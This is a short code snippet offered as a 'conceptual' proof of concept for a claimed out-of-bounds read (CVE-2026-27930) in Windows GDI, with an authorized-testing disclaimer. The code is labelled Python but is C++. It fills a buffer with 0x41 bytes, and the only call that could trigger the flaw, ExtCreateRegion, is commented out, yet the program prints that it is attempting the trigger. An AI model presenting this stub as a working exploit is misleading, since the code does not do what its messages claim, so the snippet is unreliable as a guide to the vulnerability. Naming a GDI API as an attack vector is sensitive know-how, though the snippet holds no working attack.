The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-27930 (Conceptual)
* This code demonstrates a potential trigger for an Out-of-Bounds Read in Windows GDI.
* Note: Actual exploitation requires specific crafted data structures.
*/
#include <windows.h>
#include <iostream>
int main() {
std::cout << "[*] Initializing GDI PoC for CVE-2026-27930..." << std::endl;
// Simulate a malformed buffer that might be passed to a GDI API
// In a real scenario, this would be a specific EMF record or Bitmap header
SIZE_T bufferSize = 0x100;
BYTE* malformedBuffer = (BYTE*)malloc(bufferSize);
if (malformedBuffer) {
// Fill buffer with pattern 'A' to simulate corrupted data
memset(malformedBuffer, 0x41, bufferSize);
// Hypothetical vulnerable function call (e.g., ExtCreateRegion, StretchBlt)
// The vulnerability occurs when the API reads past the buffer bounds
// based on a malformed length field inside the buffer.
//
// Example: Triggering the vulnerability via a specific Region creation
// HRGN hRgn = ExtCreateRegion(NULL, bufferSize, (RGNDATA*)malformedBuffer);
std::cout << "[!] Attempting to trigger Out-of-Bounds Read..." << std::endl;
std::cout << "[!] Check debugger for Access Violation or memory disclosure." << std::endl;
free(malformedBuffer);
}
return 0;
}